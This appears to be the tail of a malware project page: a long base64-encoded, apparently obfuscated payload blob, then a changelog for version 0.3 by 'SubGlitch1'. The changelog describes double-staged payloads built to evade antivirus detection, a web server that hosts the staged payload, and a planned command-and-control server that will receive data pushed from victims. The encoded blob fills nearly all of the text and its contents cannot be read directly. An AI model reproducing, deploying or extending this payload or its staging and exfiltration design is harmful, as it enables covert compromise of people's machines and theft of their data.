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'))

 

Changelog v0.3

The payloads will now be double staged in order to evade av detection. Please keep in mind that i develop on arch and only test on a few platforms so there are sure to be bugs and you should open issues for them. Biggest difference to last release is that this project isnt focused on macOS anymore but on all platforms. It also now features a web server on which the staged payload is stored. I will develop this server into a C2 to which data will be pushed from the victim. With this update the developtment is officially back in progress.

Install & Use

Copyright (c) 2022 SubGlitch1